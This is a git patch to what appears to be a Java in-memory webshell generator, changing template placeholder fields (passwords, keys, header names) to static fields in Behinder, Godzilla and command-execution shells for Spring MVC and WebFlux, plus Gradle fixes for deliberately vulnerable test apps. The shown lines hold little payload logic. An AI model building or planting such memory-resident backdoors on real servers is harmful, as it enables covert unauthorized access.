From 393693b89bf23c44d59c2e4ee6c61fe9de853194 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Fri, 3 Jan 2025 00:43:03 +0800 Subject: [PATCH] fix: spring shell generate error --- .../springmvc/behinder/BehinderControllerHandler.java | 6 +++--- .../springmvc/behinder/BehinderInterceptor.java | 6 +++--- .../springmvc/command/CommandControllerHandler.java | 2 +- .../memshell/springmvc/command/CommandInterceptor.java | 2 +- .../springmvc/godzilla/GodzillaControllerHandler.java | 10 +++++----- .../springmvc/godzilla/GodzillaInterceptor.java | 10 +++++----- .../springwebflux/command/CommandHandlerFunction.java | 2 +- .../springwebflux/command/CommandHandlerMethod.java | 2 +- .../springwebflux/command/CommandWebFilter.java | 2 +- .../godzilla/GodzillaHandlerFunction.java | 10 +++++----- .../springwebflux/godzilla/GodzillaHandlerMethod.java | 10 +++++----- .../springwebflux/godzilla/GodzillaWebFilter.java | 10 +++++----- vul/vul-springboot2-webflux/build.gradle | 5 ++++- vul/vul-springboot2/build.gradle | 5 ++++- 14 files changed, 44 insertions(+), 38 deletions(-) diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java index 0f8156ec..7f4767ab 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java @@ -17,9 +17,9 @@ import java.util.Map; * @since 2024/12/22 */ public class BehinderControllerHandler extends ClassLoader implements Controller { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; @SuppressWarnings("all") public Class g(byte[] b) { diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java index 249653e1..e46f2a31 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java @@ -17,9 +17,9 @@ import java.util.Map; * @since 2024/12/22 */ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; @SuppressWarnings("all") public Class g(byte[] b) { diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandControllerHandler.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandControllerHandler.java index 02bd95c4..5453a333 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandControllerHandler.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandControllerHandler.java @@ -13,7 +13,7 @@ import java.io.InputStream; * @since 2024/12/22 */ public class CommandControllerHandler implements Controller { - public String paramName = "{{paramName}}"; + public static String paramName; public CommandControllerHandler() { diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java index 536ade37..7c494fd2 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java @@ -13,7 +13,7 @@ import java.io.InputStream; * @since 2024/12/22 */ public class CommandInterceptor implements AsyncHandlerInterceptor { - public String paramName = "{{paramName}}"; + public static String paramName; public CommandInterceptor() { diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaControllerHandler.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaControllerHandler.java index 7deaf64e..7c5728a2 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaControllerHandler.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaControllerHandler.java @@ -15,11 +15,11 @@ import java.io.ByteArrayOutputStream; * @since 2024/12/22 */ public class GodzillaControllerHandler extends ClassLoader implements Controller { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaControllerHandler() { } diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java index 8786bdce..bebe02f8 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java @@ -15,11 +15,11 @@ import java.io.ByteArrayOutputStream; * @since 2024/12/22 */ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaInterceptor(ClassLoader c) { super(c); diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandHandlerFunction.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandHandlerFunction.java index f4f2b5e0..bb38c46d 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandHandlerFunction.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandHandlerFunction.java @@ -14,7 +14,7 @@ import java.util.Optional; * @since 2024/12/25 */ public class CommandHandlerFunction implements HandlerFunction { - public String paramName = "{{paramName}}"; + public static String paramName; @Override public Mono handle(ServerRequest request) { diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandHandlerMethod.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandHandlerMethod.java index b3a2a8bd..381addf2 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandHandlerMethod.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandHandlerMethod.java @@ -11,7 +11,7 @@ import java.io.InputStreamReader; * @since 2024/12/25 */ public class CommandHandlerMethod { - public String paramName = "{{paramName}}"; + public static String paramName; public CommandHandlerMethod() { } diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandWebFilter.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandWebFilter.java index 4022825d..f8802464 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandWebFilter.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandWebFilter.java @@ -16,7 +16,7 @@ import java.nio.charset.StandardCharsets; * @since 2024/12/25 */ public class CommandWebFilter extends ClassLoader implements WebFilter { - public String paramName = "{{paramName}}"; + public static String paramName; @Override public Mono filter(ServerWebExchange exchange, WebFilterChain chain) { diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaHandlerFunction.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaHandlerFunction.java index bf3a3267..c1473539 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaHandlerFunction.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaHandlerFunction.java @@ -14,11 +14,11 @@ import java.io.ByteArrayOutputStream; * @since 2024/12/25 */ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunction { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public Class payload; public GodzillaHandlerFunction() { diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaHandlerMethod.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaHandlerMethod.java index ed631950..3c3d11d0 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaHandlerMethod.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaHandlerMethod.java @@ -13,11 +13,11 @@ import java.io.ByteArrayOutputStream; * @since 2024/12/25 */ public class GodzillaHandlerMethod extends ClassLoader { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public Class payload; public GodzillaHandlerMethod() { diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaWebFilter.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaWebFilter.java index fa8e03d9..583613fb 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaWebFilter.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaWebFilter.java @@ -18,11 +18,11 @@ import java.nio.charset.StandardCharsets; * @since 2024/12/25 */ public class GodzillaWebFilter extends ClassLoader implements WebFilter { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public Class payload; public GodzillaWebFilter() { diff --git a/vul/vul-springboot2-webflux/build.gradle b/vul/vul-springboot2-webflux/build.gradle index f49829d3..6567e6f7 100644 --- a/vul/vul-springboot2-webflux/build.gradle +++ b/vul/vul-springboot2-webflux/build.gradle @@ -6,7 +6,10 @@ plugins { group = 'com.reajason.javaweb.vul' version = '' -sourceCompatibility = '1.8' + +java { + sourceCompatibility = JavaVersion.VERSION_1_8 +} dependencies { implementation 'org.springframework.boot:spring-boot-starter-webflux' diff --git a/vul/vul-springboot2/build.gradle b/vul/vul-springboot2/build.gradle index 25e4c8a7..d0023174 100644 --- a/vul/vul-springboot2/build.gradle +++ b/vul/vul-springboot2/build.gradle @@ -7,7 +7,10 @@ plugins { group = 'com.reajason.javaweb.vul' version = '' -sourceCompatibility = '1.8' + +java { + sourceCompatibility = JavaVersion.VERSION_1_8 +} repositories { mavenCentral()